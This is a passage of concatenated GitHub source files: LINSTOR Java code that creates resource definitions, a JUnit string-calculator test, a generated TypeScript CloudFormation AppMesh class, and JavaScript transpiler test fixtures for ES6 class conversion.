generatedRscName = true;
// The zero-length resource name was specified, the resource name will be generated
// depending on the contents of the specified external name
if (extName != null)
{
// throws ApiRcException if the external name is not unique
checkExtNameUnique(extName, peerAccCtx.get(), resourceDefinitionRepository);
try
{
// Create a unique resource name from the specified external name
// Falls back to a prefix + UUID name if the resource name collides with an existing one
// A prefix + UUID name is also created if a zero-length external name is specified
rscName = createResourceName(extName, resourceDefinitionRepository.getMapForView(peerAccCtx.get()));
}
catch (AccessDeniedException accDeniedExc)
{
throw new ApiAccessDeniedException(
accDeniedExc,
"getMapForView / getMapForViewExtName",
ApiConsts.FAIL_ACC_DENIED_RSC_DFN
);
}
}
else
{
ApiCallRcImpl.EntryBuilder rcEntry = ApiCallRcImpl.entryBuilder(
ApiConsts.FAIL_MISSING_EXT_NAME,
"The resource name generation for the creation of a new resource definition failed"
);
rcEntry.setCause(
"Name generation was selected by specifying a zero-length resource name,\n" +
"but the external name field required for name generation is not present\n" +
"in the API call data"
);
rcEntry.setCorrection(
"For name generation from an external name\n" +
"- Specify a non-zero-length external name to induce resource name generation\n" +
" based on the specified external name" +
"- Specify a zero-length external name to induce generation of a random\n" +
" resource name (Prefix + UUID)\n" +
"or\n" +
"- Specify a non-zero-length resource name to avoid resource name generation"
);
throw new ApiRcException(rcEntry.build());
}
}
// Discard zero-length external names, as those are used to trigger
// generation of a UUID-based resource name and are not supposed to be stored
if (extName != null && extName.length == 0)
{
extName = null;
}
if (!layerStack.isEmpty())
{
CtrlRscCrtApiHelper.ensureLayerStackIsAllowed(layerStack);
}
ResourceDefinition rscDfn;
try
{
String rscGrpNameStr;
if (rscGrpNameStrPrm == null)
{
rscGrpNameStr = InternalApiConsts.DEFAULT_RSC_GRP_NAME;
}
else
{
rscGrpNameStr = rscGrpNameStrPrm;
}
ResourceGroup rscGrp = ctrlApiDataLoader.loadResourceGroup(rscGrpNameStr, false);
if (rscGrp == null)
{
if (InternalApiConsts.DEFAULT_RSC_GRP_NAME.equalsIgnoreCase(rscGrpNameStr))
{
rscGrp = resourceGroupFactory.create(
peerAccCtx.get(),
new ResourceGroupName(rscGrpNameStr),
"Default resource group",
null,
null,
null,
null,
null,
null,
null,
null,
null,
null
);
resourceGroupRepository.put(apiCtx, rscGrp);
}
else
{
throw new ApiRcException(
ApiCallRcImpl.singleApiCallRc(
ApiConsts.FAIL_NOT_FOUND_RSC_GRP,
String.format("Resource group '%s' could not be found.", rscGrpNameStr)
)
);
}
}
rscDfn = resourceDefinitionFactory.create(
peerAccCtx.get(),
rscName,
extName,
portInt,
null, // RscDfnFlags
secret,
transportType,
layerStack,
peerSlotsRef,
rscGrp
);
}
catch (ValueOutOfRangeException | ValueInUseException exc)
{
ApiCallRcImpl.EntryBuilder rcEntry = ApiCallRcImpl.entryBuilder(
ApiConsts.FAIL_INVLD_RSC_PORT,
"The creation of a new resource definition failed due to an invalid TCP port number"
);
rcEntry.setCause(String.format("The specified number %d is not a valid TCP port number", portInt));
rcEntry.setDetails(getCrtRscDfnName(rscName, generatedRscName));
throw new ApiRcException(rcEntry.build(), exc);
}
catch (ExhaustedPoolException exc)
{
ApiCallRcImpl.EntryBuilder rcEntry = ApiCallRcImpl.entryBuilder(
ApiConsts.FAIL_POOL_EXHAUSTED_TCP_PORT,
"The creation of a new resource definition failed, because no TCP port number\n" +
"could be allocated for the resource definition"
);
rcEntry.setCause("TCP port number allocation failed, because the pool of free numbers is exhausted");
rcEntry.setCorrection(
"- Increase the size of the free TCP port number pool by extending the\n" +
" port number range for automatic allocation\n" +
"or\n" +
"- Delete existing resource definitions that have a TCP port number within\n" +
" the port number range for automatic allocation, if those resource definitions\n" +
" are no longer needed"
);
rcEntry.setDetails(getCrtRscDfnName(rscName, generatedRscName));
throw new ApiRcException(rcEntry.build(), exc);
}
catch (AccessDeniedException accDeniedExc)
{
throw new ApiAccessDeniedException(
accDeniedExc,
"create " + getRscDfnDescriptionInline(rscNameStr),
ApiConsts.FAIL_ACC_DENIED_RSC_DFN
);
}
catch (DatabaseException dbExc)
{
throw new ApiDatabaseException(dbExc);
}
catch (LinStorDataAlreadyExistsException exc)
{
ApiCallRcImpl.EntryBuilder rcEntry = ApiCallRcImpl.entryBuilder(
ApiConsts.FAIL_EXISTS_RSC_DFN,
"The creation of a new resource definition failed due to a name collision"
);
rcEntry.setCause("A resource definition with the name '" + rscNameStr + "' already exists");
rcEntry.setSkipErrorReport(true);
throw new ApiRcException(rcEntry.build(), exc);
}
return rscDfn;
}
static VolumeNumber getVlmNr(VolumeDefinitionApi vlmDfnApi, ResourceDefinition rscDfn, AccessContext accCtx)
throws ValueOutOfRangeException, LinStorException
{
VolumeNumber vlmNr;
Integer vlmNrRaw = vlmDfnApi.getVolumeNr();
if (vlmNrRaw == null)
{
try
{
// Avoid using volume numbers that are already in use by active volumes or snapshots.
// Re-using snapshot volume numbers would result in confusion when restoring from the snapshot.
Set<SnapshotVolumeDefinition> snapshotVlmDfns = new HashSet<>();
for (SnapshotDefinition snapshotDfn : rscDfn.getSnapshotDfns(accCtx))
{
snapshotVlmDfns.addAll(snapshotDfn.getAllSnapshotVolumeDefinitions(accCtx));
}
int[] occupiedVlmNrs = Stream.concat(
rscDfn.streamVolumeDfn(accCtx).map(VolumeDefinition::getVolumeNumber),
snapshotVlmDfns.stream().map(SnapshotVolumeDefinition::getVolumeNumber)
)
.mapToInt(VolumeNumber::getValue)
.sorted()
.distinct()
.toArray();
vlmNr = VolumeNumberAlloc.getFreeVolumeNumber(occupiedVlmNrs);
}
catch (AccessDeniedException accDeniedExc)
{
throw new ImplementationError(
"ApiCtx does not have enough privileges to iterate vlmDfns",
accDeniedExc
);
}
catch (ExhaustedPoolException exhausedPoolExc)
{
throw new LinStorException(
"No more free volume numbers left in range " + VolumeNumber.VOLUME_NR_MIN + " - " +
VolumeNumber.VOLUME_NR_MAX,
exhausedPoolExc
);
}
}
else
{
vlmNr = new VolumeNumber(vlmNrRaw);
}
return vlmNr;
}
public static String getRscDfnDescription(ResourceDefinition rscDfn)
{
return getRscDfnDescription(rscDfn.getName().displayValue);
}
public static String getRscDfnDescription(String rscName)
{
return "Resource definition: " + rscName;
}
public static String getRscDfnDescriptionInline(ResourceDefinition rscDfn)
{
return getRscDfnDescriptionInline(rscDfn.getName());
}
public static String getRscDfnDescriptionInline(ResourceName rscName)
{
return getRscDfnDescriptionInline(rscName.displayValue);
}
public static String getRscDfnDescriptionInline(String rscName)
{
return "resource definition '" + rscName + "'";
}
public static String getCrtRscDfnName(final ResourceName rscName, final boolean generated)
{
StringBuilder nameInfo = new StringBuilder();
nameInfo.append("The name for the new resource definition was '");
nameInfo.append(rscName.displayValue);
nameInfo.append("'");
if (generated)
{
nameInfo.append("\nThis resource name was generated from external name data");
}
return nameInfo.toString();
}
static ResponseContext makeResourceDefinitionContext(
ApiOperation operation,
String rscNameStr
)
{
Map<String, String> objRefs = new TreeMap<>();
objRefs.put(ApiConsts.KEY_RSC_DFN, rscNameStr);
return new ResponseContext(
operation,
getRscDfnDescription(rscNameStr),
getRscDfnDescriptionInline(rscNameStr),
ApiConsts.MASK_RSC_DFN,
objRefs
);
}
private static void checkExtNameUnique(
final byte[] extName,
final AccessContext accCtx,
final ResourceDefinitionRepository rscDfnRps
)
throws ApiRcException, ApiAccessDeniedException
{
if (extName.length > 0)
{
try
{
// Check whether the specified external name is already registered
ResourceDefinitionMapExtName extNameMap =
rscDfnRps.getMapForViewExtName(accCtx);
if (extNameMap.containsKey(extName))
{
ApiCallRcImpl.EntryBuilder errorRcBld = ApiCallRcImpl.entryBuilder(
ApiConsts.FAIL_EXISTS_EXT_NAME,
"The specified external name is already registered"
);
errorRcBld.setDetails(
"The external name data is:\n" +
HexViewer.binaryToHexDump(extName)
);
ApiCallRcEntry errorRc = errorRcBld.build();
throw new ApiRcException(errorRc);
}
}
catch (AccessDeniedException accDeniedExc)
{
throw new ApiAccessDeniedException(
accDeniedExc,
"getMapForView / getMapForViewExtName",
ApiConsts.FAIL_ACC_DENIED_RSC_DFN
);
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
package test;
import java.util.ArrayList;
import junit.framework.TestCase;
import org.junit.After;
import org.junit.Before;
import stringCalculator.StringCalculator;
import stringCalculator.StringCalculator.NegativeException;
public class TestStringCalculator extends TestCase{
StringCalculator sCalculator;
@Before
public void setUp() throws Exception {
sCalculator = new StringCalculator();
}
@After
public void tearDown() throws Exception {
}
public void test_addNoneNumbers() throws NegativeException{
String input = "";
int expectedSum = 0;
assertEquals(expectedSum,sCalculator.Add(input));
}
public void test_addOneNumber() throws NegativeException{
String input = "1";
int expectedSum = 1;
assertEquals(expectedSum,sCalculator.Add(input));
}
public void test_addTwoNumbers() throws NegativeException{
String input = "1,3";
int expectedSum = 4;
assertEquals(expectedSum,sCalculator.Add(input));
}
public void test_addFiveNumbers() throws NegativeException{
String input = "1,3,6,3,5";
int expectedSum = 18;
assertEquals(expectedSum,sCalculator.Add(input));
}
public void test_lineAsSeparator() throws NegativeException{
String input = "1\n3,6\n5";
int expectedSum = 15;
assertEquals(expectedSum,sCalculator.Add(input));
}
public void test_CustomSeparator() throws NegativeException{
String input = "//;\n3;6;5;1";
int expectedSum = 15;
assertEquals(expectedSum,sCalculator.Add(input));
}
public void test_OneNegativeException(){
String input = "//;\n3;6;5;-1";
try{
sCalculator.Add(input);
fail();
}catch(NegativeException ex){
//Test Passed
}
}
public void test_MultiplegativeException(){
String input = "3,6,-5,-1";
try{
sCalculator.Add(input);
fail();
}catch(NegativeException ex){
//Test Passed
}
}
public void test_AddMoreThanMax() throws NegativeException{
String input = "//;\n3;6;5;1003";
int expectedSum = 14;
assertEquals(expectedSum,sCalculator.Add(input));
}
public void test_AnyLenghtDelimiter() throws NegativeException{
String input = "//[;;;]\n3;;;6;;;5;;;1003";
int expectedSum = 14;
assertEquals(expectedSum,sCalculator.Add(input));
}
}
|
{
"pile_set_name": "Github"
}
|
/* Generated from:
* ap-northeast-1 (https://d33vqc0rt9ld30.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-northeast-2 (https://d1ane3fvebulky.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-south-1 (https://d2senuesg1djtx.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-southeast-1 (https://doigdx0kgq9el.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ap-southeast-2 (https://d2stg8d246z9di.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* ca-central-1 (https://d2s8ygphhesbe7.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* eu-central-1 (https://d1mta8qj7i28i2.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* eu-west-1 (https://d3teyb21fexa9r.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* eu-west-2 (https://d1742qcu2c1ncx.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-east-1 (https://d1uauaxba7bl26.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-east-2 (https://dnwj8swjjbsbt.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-west-1 (https://d68hl49wbnanq.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0,
* us-west-2 (https://d201a2mn26r7lk.cloudfront.net/latest/gzip/CloudFormationResourceSpecification.json), version 16.2.0
*/
import {ResourceBase, ResourceTag} from '../resource'
import {Value, List} from '../dataTypes'
export class PortMapping {
Port!: Value<number>
Protocol!: Value<string>
constructor(properties: PortMapping) {
Object.assign(this, properties)
}
}
export class VirtualRouterListener {
PortMapping!: PortMapping
constructor(properties: VirtualRouterListener) {
Object.assign(this, properties)
}
}
export class VirtualRouterSpec {
Listeners!: List<VirtualRouterListener>
constructor(properties: VirtualRouterSpec) {
Object.assign(this, properties)
}
}
export interface VirtualRouterProperties {
MeshName: Value<string>
VirtualRouterName: Value<string>
MeshOwner?: Value<string>
Spec: VirtualRouterSpec
Tags?: List<ResourceTag>
}
export default class VirtualRouter extends ResourceBase<VirtualRouterProperties> {
static PortMapping = PortMapping
static VirtualRouterListener = VirtualRouterListener
static VirtualRouterSpec = VirtualRouterSpec
constructor(properties: VirtualRouterProperties) {
super('AWS::AppMesh::VirtualRouter', properties)
}
}
|
{
"pile_set_name": "Github"
}
|
module.exports = [
{
description: 'transpiles a class declaration',
options: { namedFunctionExpressions: false },
input: `
class Foo {
constructor ( answer ) {
this.answer = answer;
}
}`,
output: `
var Foo = function ( answer ) {
this.answer = answer;
};`
},
{
description: 'transpiles a class declaration with a non-constructor method',
options: { namedFunctionExpressions: false },
input: `
class Foo {
constructor ( answer ) {
this.answer = answer;
}
bar ( str ) {
return str + 'bar';
}
}`,
output: `
var Foo = function ( answer ) {
this.answer = answer;
};
Foo.prototype.bar = function ( str ) {
return str + 'bar';
};`
},
{
description:
'transpiles a class declaration without a constructor function',
options: { namedFunctionExpressions: false },
input: `
class Foo {
bar ( str ) {
return str + 'bar';
}
}`,
output: `
var Foo = function () {};
Foo.prototype.bar = function ( str ) {
return str + 'bar';
};`
},
{
description: 'no unnecessary deshadowing of method names',
options: { namedFunctionExpressions: false },
input: `
var bar = 'x';
class Foo {
bar ( str ) {
return str + 'bar';
}
}`,
output: `
var bar = 'x';
var Foo = function () {};
Foo.prototype.bar = function ( str ) {
return str + 'bar';
};`
},
{
description: 'transpiles a class declaration with a static method',
options: { namedFunctionExpressions: false },
input: `
class Foo {
bar ( str ) {
return str + 'bar';
}
static baz ( str ) {
return str + 'baz';
}
}`,
output: `
var Foo = function () {};
Foo.prototype.bar = function ( str ) {
return str + 'bar';
};
Foo.baz = function ( str ) {
return str + 'baz';
};`
},
{
description: 'transpiles a subclass',
options: { namedFunctionExpressions: false },
input: `
class Foo extends Bar {
baz ( str ) {
return str + 'baz';
}
}`,
output: `
var Foo = /*@__PURE__*/(function (Bar) {
function Foo () {
Bar.apply(this, arguments);
}
if ( Bar ) Foo.__proto__ = Bar;
Foo.prototype = Object.create( Bar && Bar.prototype );
Foo.prototype.constructor = Foo;
Foo.prototype.baz = function ( str ) {
return str + 'baz';
};
return Foo;
}(Bar));`
},
{
description: 'transpiles a subclass with super calls',
options: { namedFunctionExpressions: false },
input: `
class Foo extends Bar {
constructor ( x ) {
super( x );
this.y = 'z';
}
baz ( a, b, c ) {
super.baz( a, b, c );
}
}`,
output: `
var Foo = /*@__PURE__*/(function (Bar) {
function Foo ( x ) {
Bar.call( this, x );
this.y = 'z';
}
if ( Bar ) Foo.__proto__ = Bar;
Foo.prototype = Object.create( Bar && Bar.prototype );
Foo.prototype.constructor = Foo;
Foo.prototype.baz = function ( a, b, c ) {
Bar.prototype.baz.call( this, a, b, c );
};
return Foo;
}(Bar));`
},
{
description: 'transpiles a subclass with super calls with spread arguments',
options: { namedFunctionExpressions: false },
input: `
class Foo extends Bar {
baz ( ...args ) {
super.baz(...args);
}
boz ( x, y, ...z ) {
super.boz(x, y, ...z);
}
fab ( x, ...y ) {
super.qux(...x, ...y);
}
fob ( x, y, ...z ) {
((x, y, z) => super.qux(x, ...y, ...z))(x, y, z);
}
}`,
output: `
var Foo = /*@__PURE__*/(function (Bar) {
function Foo () {
Bar.apply(this, arguments);
}
if ( Bar ) Foo.__proto__ = Bar;
Foo.prototype = Object.create( Bar && Bar.prototype );
Foo.prototype.constructor = Foo;
Foo.prototype.baz = function () {
var args = [], len = arguments.length;
while ( len-- ) args[ len ] = arguments[ len ];
Bar.prototype.baz.apply(this, args);
};
Foo.prototype.boz = function ( x, y ) {
var z = [], len = arguments.length - 2;
while ( len-- > 0 ) z[ len ] = arguments[ len + 2 ];
Bar.prototype.boz.apply(this, [ x, y ].concat( z ));
};
Foo.prototype.fab = function ( x ) {
var y = [], len = arguments.length - 1;
while ( len-- > 0 ) y[ len ] = arguments[ len + 1 ];
Bar.prototype.qux.apply(this, x.concat( y ));
};
Foo.prototype.fob = function ( x, y ) {
var this$1 = this;
var z = [], len = arguments.length - 2;
while ( len-- > 0 ) z[ len ] = arguments[ len + 2 ];
(function (x, y, z) { return Bar.prototype.qux.apply(this$1, [ x ].concat( y, z )); })(x, y, z);
};
return Foo;
}(Bar));`
},
{
description: 'transpiles export default class',
options: {
transforms: { moduleExport: false },
namedFunctionExpressions: false
},
input: `
export default class Foo {
bar () {}
}`,
output: `
var Foo = function () {};
Foo.prototype.bar = function () {};
export default Foo;`
},
{
description: 'transpiles export default subclass',
options: {
transforms: { moduleExport: false },
namedFunctionExpressions: false
},
input: `
export default class Foo extends Bar {
bar () {}
}`,
output: `
var Foo = /*@__PURE__*/(function (Bar) {
function Foo () {
Bar.apply(this, arguments);
}
if ( Bar ) Foo.__proto__ = Bar;
Foo.prototype = Object.create( Bar && Bar.prototype );
Foo.prototype.constructor = Foo;
Foo.prototype.bar = function () {};
return Foo;
}(Bar));
export default Foo;`
},
{
description: 'transpiles export default subclass with subsequent statement',
options: {
transforms: { moduleExport: false },
namedFunctionExpressions: false
},
input: `
export default class Foo extends Bar {
bar () {}
}
new Foo().bar();`,
output: `
var Foo = /*@__PURE__*/(function (Bar) {
function Foo () {
Bar.apply(this, arguments);
}
if ( Bar ) Foo.__proto__ = Bar;
Foo.prototype = Object.create( Bar && Bar.prototype );
Foo.prototype.constructor = Foo;
Foo.prototype.bar = function () {};
return Foo;
}(Bar));
export default Foo;
new Foo().bar();`
},
{
description: 'transpiles empty class',
options: { namedFunctionExpressions: false },
input: `class Foo {}`,
output: `var Foo = function () {};`
},
{
description: 'transpiles an anonymous empty class expression',
options: { namedFunctionExpressions: false },
input: `
var Foo = class {};`,
output: `
var Foo = /*@__PURE__*/(function () {
function Foo () {}
return Foo;
}());`
},
{
description: 'transpiles an anonymous class expression with a constructor',
options: { namedFunctionExpressions: false },
input: `
var Foo = class {
constructor ( x ) {
this.x = x;
}
};`,
output: `
var Foo = /*@__PURE__*/(function () {
function Foo ( x ) {
this.x = x;
}
return Foo;
}());`
},
{
description:
'transpiles an anonymous class expression with a non-constructor method',
options: { namedFunctionExpressions: false },
input: `
var Foo = class {
bar ( x ) {
console.log( x );
}
};`,
output: `
var Foo = /*@__PURE__*/(function () {
function Foo () {}
Foo.prototype.bar = function ( x ) {
console.log( x );
};
return Foo;
}());`
},
{
description: 'allows constructor to be in middle of body',
options: { namedFunctionExpressions: false },
input: `
class Foo {
before () {
// code goes here
}
constructor () {
// constructor goes here
}
after () {
// code goes here
}
}`,
output: `
var Foo = function () {
// constructor goes here
};
Foo.prototype.before = function () {
// code goes here
};
Foo.prototype.after = function () {
// code goes here
};`
},
{
description: 'allows constructor to be at end of body',
options: { namedFunctionExpressions: false },
input: `
class Foo {
before () {
// code goes here
}
constructor () {
// constructor goes here
}
}`,
output: `
var Foo = function () {
// constructor goes here
};
Foo.prototype.before = function () {
// code goes here
};`
},
{
description: 'transpiles getters and setters',
options: { namedFunctionExpressions: false },
input: `
class Circle {
constructor ( radius ) {
this.radius = radius;
}
get area () {
return Math.PI * Math.pow( this.radius, 2 );
}
set area ( area ) {
this.radius = Math.sqrt( area / Math.PI );
}
static get description () {
return 'round';
}
}`,
output: `
var Circle = function ( radius ) {
this.radius = radius;
};
var prototypeAccessors = { area: { configurable: true } };
var staticAccessors = { description: { configurable: true } };
prototypeAccessors.area.get = function () {
return Math.PI * Math.pow( this.radius, 2 );
};
prototypeAccessors.area.set = function ( area ) {
this.radius = Math.sqrt( area / Math.PI );
};
staticAccessors.description.get = function () {
return 'round';
};
Object.defineProperties( Circle.prototype, prototypeAccessors );
Object.defineProperties( Circle, staticAccessors );`
},
{
description: 'transpiles getters and setters in subclass',
options: { namedFunctionExpressions: false },
input: `
class Circle extends Shape {
constructor ( radius ) {
super();
this.radius = radius;
}
get area () {
return Math.PI * Math.pow( this.radius, 2 );
}
set area ( area ) {
this.radius = Math.sqrt( area / Math.PI );
}
static get description () {
return 'round';
}
}`,
output: `
var Circle = /*@__PURE__*/(function (Shape) {
function Circle ( radius ) {
Shape.call(this);
this.radius = radius;
}
if ( Shape ) Circle.__proto__ = Shape;
Circle.prototype = Object.create( Shape && Shape.prototype );
Circle.prototype.constructor = Circle;
var prototypeAccessors = { area: { configurable: true } };
var staticAccessors = { description: { configurable: true } };
prototypeAccessors.area.get = function () {
return Math.PI * Math.pow( this.radius, 2 );
};
prototypeAccessors.area.set = function ( area ) {
this.radius = Math.sqrt( area / Math.PI );
};
staticAccessors.description.get = function () {
return 'round';
};
Object.defineProperties( Circle.prototype, prototypeAccessors );
Object.defineProperties( Circle, staticAccessors );
return Circle;
}(Shape));`
},
{
description: 'can be disabled with `transforms.classes: false`',
options: {
namedFunctionExpressions: false,
transforms: { classes: false }
},
input: `
class Foo extends Bar {
constructor ( answer ) {
super();
this.answer = answer;
}
}`,
output: `
class Foo extends Bar {
constructor ( answer ) {
super();
this.answer = answer;
}
}`
},
{
description: 'declaration extends from an expression (#15)',
options: { namedFunctionExpressions: false },
input: `
const q = {a: class {}};
class b extends q.a {
c () {}
}`,
output: `
var q = {a: /*@__PURE__*/(function () {
function anonymous () {}
return anonymous;
}())};
var b = /*@__PURE__*/(function (superclass) {
function b () {
superclass.apply(this, arguments);
}
if ( superclass ) b.__proto__ = superclass;
b.prototype = Object.create( superclass && superclass.prototype );
b.prototype.constructor = b;
b.prototype.c = function () {};
return b;
}(q.a));`
},
{
description: 'expression extends from an expression (#15)',
options: { namedFunctionExpressions: false },
input: `
const q = {a: class {}};
const b = class b extends q.a {
c () {}
};`,
output: `
var q = {a: /*@__PURE__*/(function () {
function anonymous () {}
return anonymous;
}())};
var b = /*@__PURE__*/(function (superclass) {
function b () {
superclass.apply(this, arguments);
}
if ( superclass ) b.__proto__ = superclass;
b.prototype = Object.create( superclass && superclass.prototype );
b.prototype.constructor = b;
b.prototype.c = function () {};
return b;
}(q.a));`
},
{
description: 'expression extends from an expression with super calls (#31)',
options: { namedFunctionExpressions: false },
input: `
class b extends x.y.z {
constructor() {
super();
}
}`,
output: `
var b = /*@__PURE__*/(function (superclass) {
function b() {
superclass.call(this);
}
if ( superclass ) b.__proto__ = superclass;
b.prototype = Object.create( superclass && superclass.prototype );
b.prototype.constructor = b;
return b;
}(x.y.z));`
},
{
description: 'anonymous expression extends named class (#31)',
options: { namedFunctionExpressions: false },
input: `
SubClass = class extends SuperClass {
constructor() {
super();
}
};`,
output: `
SubClass = /*@__PURE__*/(function (SuperClass) {
function SubClass() {
SuperClass.call(this);
}
if ( SuperClass ) SubClass.__proto__ = SuperClass;
SubClass.prototype = Object.create( SuperClass && SuperClass.prototype );
SubClass.prototype.constructor = SubClass;
return SubClass;
}(SuperClass));`
},
{
description:
'verify deindent() does not corrupt string literals in class methods (#159)',
options: { namedFunctionExpressions: false },
input: `
class Foo {
bar() {
var s = "0\t1\t\t2\t\t\t3\t\t\t\t4\t\t\t\t\t5";
return s + '\t';
}
baz() {
return \`\t\`;
}
}
`,
output: `
var Foo = function () {};
Foo.prototype.bar = function () {
var s = "0\t1\t\t2\t\t\t3\t\t\t\t4\t\t\t\t\t5";
return s + '\t';
};
Foo.prototype.baz = function () {
return "\\t";
};
`
},
{
description: 'deindents a function body with destructuring (#22)',
options: { namedFunctionExpressions: false },
input: `
class Foo {
constructor ( options ) {
const {
a,
b
} = options;
}
}`,
output: `
var Foo = function ( options ) {
var a = options.a;
var b = options.b;
};`
},
{
description: 'allows super in static methods',
options: { namedFunctionExpressions: false },
input: `
class Foo extends Bar {
static baz () {
super.baz();
}
}`,
output: `
var Foo = /*@__PURE__*/(function (Bar) {
function Foo () {
Bar.apply(this, arguments);
}
if ( Bar ) Foo.__proto__ = Bar;
Foo.prototype = Object.create( Bar && Bar.prototype );
Foo.prototype.constructor = Foo;
Foo.baz = function () {
Bar.baz.call(this);
};
return Foo;
}(Bar));`
},
{
description: 'allows zero space between class id and body (#46)',
options: { namedFunctionExpressions: false },
input: `
class A{
x(){}
}
var B = class B{
x(){}
};
class C extends D{
x(){}
}
var E = class E extends F{
x(){}
}`,
output: `
var A = function () {};
A.prototype.x = function (){};
var B = /*@__PURE__*/(function () {
function B () {}
B.prototype.x = function (){};
return B;
}());
var C = /*@__PURE__*/(function (D) {
function C () {
D.apply(this, arguments);
}
if ( D ) C.__proto__ = D;
C.prototype = Object.create( D && D.prototype );
C.prototype.constructor = C;
C.prototype.x = function (){};
return C;
}(D));
var E = /*@__PURE__*/(function (F) {
function E () {
F.apply(this, arguments);
}
if ( F ) E.__proto__ = F;
E.prototype = Object.create( F && F.prototype );
E.prototype.constructor = E;
E.prototype.x = function (){};
return E;
}(F))`
},
{
description: 'transpiles a class with an accessor and no constructor (#48)',
options: { namedFunctionExpressions: false },
input: `
class Foo {
static get bar() { return 'baz' }
}`,
output: `
var Foo = function () {};
var staticAccessors = { bar: { configurable: true } };
staticAccessors.bar.get = function () { return 'baz' };
Object.defineProperties( Foo, staticAccessors );`
},
{
description:
'uses correct indentation for inserted statements in constructor (#39)',
options: { namedFunctionExpressions: false },
input: `
class Foo {
constructor ( options, { a2, b2 } ) {
const { a, b } = options;
const render = () => {
requestAnimationFrame( render );
this.render();
};
render();
}
render () {
// code goes here...
}
}`,
output: `
var Foo = function ( options, ref ) {
var this$1 = this;
var a2 = ref.a2;
var b2 = ref.b2;
var a = options.a;
var b = options.b;
var render = function () {
requestAnimationFrame( render );
this$1.render();
};
render();
};
Foo.prototype.render = function () {
// code goes here...
};`
},
{
description:
'uses correct indentation for inserted statements in subclass constructor (#39)',
options: { namedFunctionExpressions: false },
input: `
class Foo extends Bar {
constructor ( options, { a2, b2 } ) {
super();
const { a, b } = options;
const render = () => {
requestAnimationFrame( render );
this.render();
};
render();
}
render () {
// code goes here...
}
}`,
output: `
var Foo = /*@__PURE__*/(function (Bar) {
function Foo ( options, ref ) {
var this$1 = this;
var a2 = ref.a2;
var b2 = ref.b2;
Bar.call(this);
var a = options.a;
var b = options.b;
var render = function () {
requestAnimationFrame( render );
this$1.render();
};
render();
}
if ( Bar ) Foo.__proto__ = Bar;
Foo.prototype = Object.create( Bar && Bar.prototype );
Foo.prototype.constructor = Foo;
Foo.prototype.render = function () {
// code goes here...
};
return Foo;
}(Bar));`
},
{
description: 'allows subclass to use rest parameters',
options: { namedFunctionExpressions: false },
input: `
class SubClass extends SuperClass {
constructor( ...args ) {
super( ...args );
}
}`,
output: `
var SubClass = /*@__PURE__*/(function (SuperClass) {
function SubClass() {
var args = [], len = arguments.length;
while ( len-- ) args[ len ] = arguments[ len ];
SuperClass.apply( this, args );
}
if ( SuperClass ) SubClass.__proto__ = SuperClass;
SubClass.prototype = Object.create( SuperClass && SuperClass.prototype );
SubClass.prototype.constructor = SubClass;
return SubClass;
}(SuperClass));`
},
{
description: 'allows subclass to use rest parameters with other arguments',
options: { namedFunctionExpressions: false },
input: `
class SubClass extends SuperClass {
constructor( ...args ) {
super( 1, ...args, 2 );
}
}`,
output: `
var SubClass = /*@__PURE__*/(function (SuperClass) {
function SubClass() {
var args = [], len = arguments.length;
while ( len-- ) args[ len ] = arguments[ len ];
SuperClass.apply( this, [ 1 ].concat( args, [2] ) );
}
if ( SuperClass ) SubClass.__proto__ = SuperClass;
SubClass.prototype = Object.create( SuperClass && SuperClass.prototype );
SubClass.prototype.constructor = SubClass;
return SubClass;
}(SuperClass));`
},
{
description: 'transpiles computed class properties',
options: { namedFunctionExpressions: false },
input: `
class Foo {
[a.b.c] () {
// code goes here
}
}`,
output: `
var Foo = function () {};
Foo.prototype[a.b.c] = function () {
// code goes here
};`
},
{
description: 'transpiles static computed class properties',
options: { namedFunctionExpressions: false },
input: `
class Foo {
static [a.b.c] () {
// code goes here
}
}`,
output: `
var Foo = function () {};
Foo[a.b.c] = function () {
// code goes here
};`
},
{
skip: true,
description: 'transpiles computed class accessors',
options: { namedFunctionExpressions: false },
input: `
class Foo {
get [a.b.c] () {
// code goes here
}
}`,
output: `
var Foo = function () {};
var prototypeAccessors = {};
var ref = a.b.c;
prototypeAccessors[ref] = {};
prototypeAccessors[ref].get = function () {
// code goes here
};
Object.defineProperties( Foo.prototype, prototypeAccessors );`
},
{
description: 'transpiles reserved class properties (!68)',
options: { namedFunctionExpressions: false },
input: `
class Foo {
catch () {
// code goes here
}
}`,
output: `
var Foo = function () {};
Foo.prototype.catch = function () {
// code goes here
};`
},
{
description: 'transpiles static reserved class properties (!68)',
options: { namedFunctionExpressions: false },
input: `
class Foo {
static catch () {
// code goes here
}
}`,
output: `
var Foo = function () {};
Foo.catch = function () {
// code goes here
};`
},
{
description: 'uses correct `this` when transpiling `super` (#89)',
options: { namedFunctionExpressions: false },
input: `
class A extends B {
constructor () {
super();
this.doSomething(() => {
super.doSomething();
});
}
}`,
output: `
var A = /*@__PURE__*/(function (B) {
function A () {
var this$1 = this;
B.call(this);
this.doSomething(function () {
B.prototype.doSomething.call(this$1);
});
}
if ( B ) A.__proto__ = B;
A.prototype = Object.create( B && B.prototype );
A.prototype.constructor = A;
return A;
}(B));`
},
{
description: 'methods with computed names',
options: { namedFunctionExpressions: false },
input: `
class A {
[x](){}
[0](){}
[1 + 2](){}
[normal + " Method"](){}
}
`,
output: `
var A = function () {};
A.prototype[x] = function (){};
A.prototype[0] = function (){};
A.prototype[1 + 2] = function (){};
A.prototype[normal + " Method"] = function (){};
`
},
{
description:
'static methods with computed names with varied spacing (#139)',
options: { namedFunctionExpressions: false },
input: `
class B {
static[.000004](){}
static [x](){}
static [x-y](){}
static[\`Static computed \${name}\`](){}
}
`,
output: `
var B = function () {};
